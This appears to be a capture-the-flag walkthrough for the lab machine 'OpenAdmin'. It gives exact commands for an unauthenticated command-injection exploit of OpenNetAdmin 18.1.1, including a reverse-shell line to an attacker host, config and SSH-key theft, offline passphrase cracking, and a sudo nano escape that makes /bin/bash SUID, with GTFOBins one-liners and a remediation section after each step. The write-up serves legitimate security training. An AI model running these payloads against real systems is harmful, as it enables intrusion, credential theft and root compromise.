← all walkthroughs

OpenAdmin

Linux· Easy
owned
2026-06-29
time to own
5m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an outdated OpenNetAdmin (18.1.1) installation via web directory brute-force and exploited its unauthenticated OS command-injection flaw to execute arbitrary commands as the Apache service account. Post-exploitation enumeration of the web root uncovered plaintext database credentials in an application config file and an SSH private key for a local user embedded in an internal web directory.

Cracking the key's passphrase offline gave SSH access as that user. The account held a misconfigured sudo rule permitting the text editor nano to run as root without a password, which I weaponised through a known GTFObins technique—using nano's built-in command-execution feature to set a SUID bit on /bin/bash—achieving full root control of the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissancePort scanning / web directory enumeration
Discovered open services and located the OpenNetAdmin web application
A TCP port scan identified Apache 2.4.29 on port 80 and SSH on port 22. Web directory brute-force then exposed the /ona/ path, which served the OpenNetAdmin network-management interface with no authentication gate.
HTTP/1.1 200 OK at /ona/ with a session cookie; Server: Apache/2.4.29 (Ubuntu)
Exact commands 2
Full TCP scan with service/version detection.
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txt
Directory brute-force to discover /ona/ and any other paths.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html -o gobuster_root.txt
2EnumerationWeb application version fingerprinting
Fingerprinted OpenNetAdmin as version 18.1.1 — a known vulnerable release
The OpenNetAdmin login page and application source disclosed version 18.1.1. This specific version is publicly documented to contain an unauthenticated remote code execution vulnerability in its xajax request handler (EDB-47691).
<title>OpenNetAdmin :: 0wn Your Network</title> observed at /ona/; version 18.1.1 identified from application page source.
Exact commands 2
Extract version string from the ONA login page source.
curl -s http://$TARGET/ona/login.php | grep -iE 'version|18\.[0-9]'
Confirm public exploits exist for 18.1.1 (EDB-47691).
searchsploit opennetadmin
3Initial AccessOS Command Injection — CVE-2019-26059 / EDB-47691
Executed OS commands on the server without authentication via the ONA xajax injection
OpenNetAdmin 18.1.1 passes the ip parameter from xajaxargs directly to a shell ping command without sanitisation. Injecting a shell separator (>;) caused the server to execute arbitrary OS commands as www-data, the Apache service account, giving me an unauthenticated foothold.
Curl POST to http://$TARGET/ona/ with xajaxargs[]=ip=>;id returned uid=33(www-data) in the server response, confirming unauthenticated remote code execution.
Exact commands 2
Proof-of-concept: inject 'id'; confirm www-data execution in the XML response.
curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;id' --data-urlencode 'xajaxargs[]=ping' | sed -n '1,120p'
Replace $ATTACKER_IP with your listener; establishes a reverse shell as www-data. Start: nc -lvnp 4444.
curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode "xajaxargs[]=ip=>;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" --data-urlencode 'xajaxargs[]=ping'
FixUpdate or decommission the vulnerable OpenNetAdmin installationCritical
WeaknessOpenNetAdmin 18.1.1 contains an unauthenticated OS command-injection vulnerability in its xajax request handler. Any unauthenticated visitor to port 80 can execute arbitrary operating system commands as the Apache service account with a single crafted HTTP POST request.
FixUpgrade OpenNetAdmin to a current, maintained release or remove the application entirely and replace it with a supported alternative. If immediate removal is not possible: (1) restrict access to /ona/ to trusted IP ranges in Apache using 'Require ip <range>'; (2) deploy a web application firewall rule blocking POST bodies containing shell metacharacters in xajaxargs parameters; (3) disable the PHP exec/system/passthru functions in the php.ini used by this virtual host.
4Post-ExploitationCredential access via config file read / sensitive file in web-accessible path
Read plaintext database credentials from the ONA config and found joanna's SSH private key inside the web root
As www-data, I used the existing command-injection channel to read the OpenNetAdmin database configuration file, obtaining plaintext MySQL credentials. Enumeration of Apache virtual-host configurations revealed an internal site at /var/www/internal/ whose index.php contained joanna's PEM-encoded SSH private key embedded directly in the page source.
Kill-chain used /tmp/joanna_openadmin_rsa for all subsequent SSH steps, confirming the key was recovered during www-data post-exploitation.
Exact commands 3
Retrieve ONA database config — exposes plaintext MySQL password.
curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;cat /opt/ona/www/local/config/database_settings.inc.php' --data-urlencode 'xajaxargs[]=ping'
Read Apache virtual-host configs to discover the internal site directory at /var/www/internal/.
curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;cat /etc/apache2/sites-enabled/*.conf' --data-urlencode 'xajaxargs[]=ping'
Extract joanna's PEM private key embedded in the internal site's PHP source.
curl -sS --max-time 10 -X POST "http://$TARGET/ona/" --data-urlencode 'xajax=window_submit' --data-urlencode 'xajaxr=1' --data-urlencode 'xajaxargs[]=tooltips' --data-urlencode 'xajaxargs[]=ip=>;cat /var/www/internal/index.php' --data-urlencode 'xajaxargs[]=ping'
FixRemove credentials and private keys from web-accessible directories and application config filesHigh
WeaknessA user's SSH private key was stored inside the Apache document root (/var/www/internal/), and plaintext MySQL credentials were stored in an application config file readable by the web server process. Once the web server was compromised, both assets were retrieved immediately through the same injection channel.
FixAudit every directory served by Apache and remove all private keys, passwords, and credential files. SSH private keys must live only in the owning user's ~/.ssh/ directory with permissions 600 and must never be embedded in PHP source or web pages. Application database credentials must be supplied via environment variables or a secrets manager (e.g., HashiCorp Vault), not stored in files under the web root. Enable a file-integrity monitoring tool (e.g., AIDE or Wazuh) to alert on unexpected or sensitive files appearing in web-served paths.
5Credential AccessOffline SSH key passphrase cracking (ssh2john + John the Ripper)
Cracked the passphrase protecting joanna's SSH private key offline
The recovered private key was passphrase-protected. I converted it to a crackable hash format and ran a dictionary attack against it using rockyou.txt, recovering the passphrase and making the key usable for direct SSH authentication.
Exact commands 2
Convert the PEM private key to a hash format John can process.
ssh2john joanna_id_rsa > joanna.hash
Dictionary attack; passphrase recovered from rockyou.txt.
john joanna.hash --wordlist=/usr/share/wordlists/rockyou.txt
6Lateral MovementSSH authentication with stolen private key
Authenticated to the host as joanna using the cracked SSH key and captured the user flag
With the private key and passphrase in hand, I opened an SSH session as the local user joanna, gaining a proper interactive shell with user-level privileges and retrieving the user flag from /home/joanna/user.txt.
Ssh -i /tmp/joanna_openadmin_rsa joanna@$TARGET 'id; hostname; cat /home/joanna/user.txt' — confirmed uid=1000(joanna) and returned user flag.
Exact commands 2
Interactive SSH session as joanna; enter cracked passphrase when prompted.
chmod 600 joanna_id_rsa && ssh -i joanna_id_rsa joanna@$TARGET
Non-interactive one-liner matching kill-chain evidence; returns <user.txt>.
ssh -i /tmp/joanna_openadmin_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 joanna@$TARGET 'id; hostname; cat /home/joanna/user.txt'
7Privilege EscalationSudo misconfiguration — GTFObins nano SUID exploitation
Exploited a sudo rule granting joanna passwordless access to nano to execute commands as root
Running 'sudo -l' as joanna revealed the entry '(ALL) NOPASSWD: /bin/nano /opt/priv'. Nano's built-in file-insertion and command-execution shortcuts (Ctrl-R then Ctrl-X) allow running arbitrary shell commands in the context of the process owner — in this case root. I issued 'chmod u+s /bin/bash' through this mechanism, setting a SUID bit on /bin/bash. A subsequent '/bin/bash -p' call spawned a root-privileged shell, and the root flag was retrieved.
Sudo nano /opt/priv → Ctrl-R → Ctrl-X → 'chmod u+s /bin/bash'. Follow-up SSH confirmed /bin/bash SUID set and root flag captured.
Exact commands 4
As joanna; confirms '(ALL) NOPASSWD: /bin/nano /opt/priv'.
sudo -l
Opens nano as root. Then interactively: Ctrl-R (Read File prompt), Ctrl-X (Execute Command prompt), type 'chmod u+s /bin/bash', press Enter, Ctrl-X to exit.
sudo /bin/nano /opt/priv
Automated version matching kill-chain evidence; drives the nano GTFObins flow over SSH.
expect -c '
  set timeout 10
  spawn ssh -tt -i /tmp/joanna_openadmin_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null joanna@$TARGET "TERM=xterm sudo /bin/nano /opt/priv"
  expect "GNU nano"
  send "\022"
  expect "File to insert"
  send "\030"
  expect "Command to execute"
  send "chmod u+s /bin/bash\r"
  sleep 1
  send "\030"
  expect eof
'
After SUID is set, -p flag launches bash with effective UID 0; returns <root.txt>.
ssh -i /tmp/joanna_openadmin_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null joanna@$TARGET '/bin/bash -p -c "id; cat /root/root.txt"'
FixRemove the sudo rule granting joanna passwordless execution of nano as rootCritical
WeaknessThe sudoers file allowed joanna to run '/bin/nano /opt/priv' as root without a password. Nano's built-in 'Execute Command' capability (Ctrl-R, Ctrl-X) runs arbitrary shell commands in the context of the editor process, making this rule functionally equivalent to giving joanna unrestricted root access.
FixRemove the offending entry from /etc/sudoers using 'visudo' and delete or disable the corresponding drop-in file under /etc/sudoers.d/ if one exists. As a standing policy, never grant sudo access to interactive programs—text editors, shells, interpreters, file managers, or pagers—because they all provide shell-escape mechanisms. If joanna legitimately needs to write to /opt/priv, create a narrowly scoped wrapper script owned by root that writes only that specific file and grants no general command execution. Audit all accounts with 'sudo -l -U <username>' and cross-reference every permitted binary against the GTFObins list to identify other dangerous entries.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more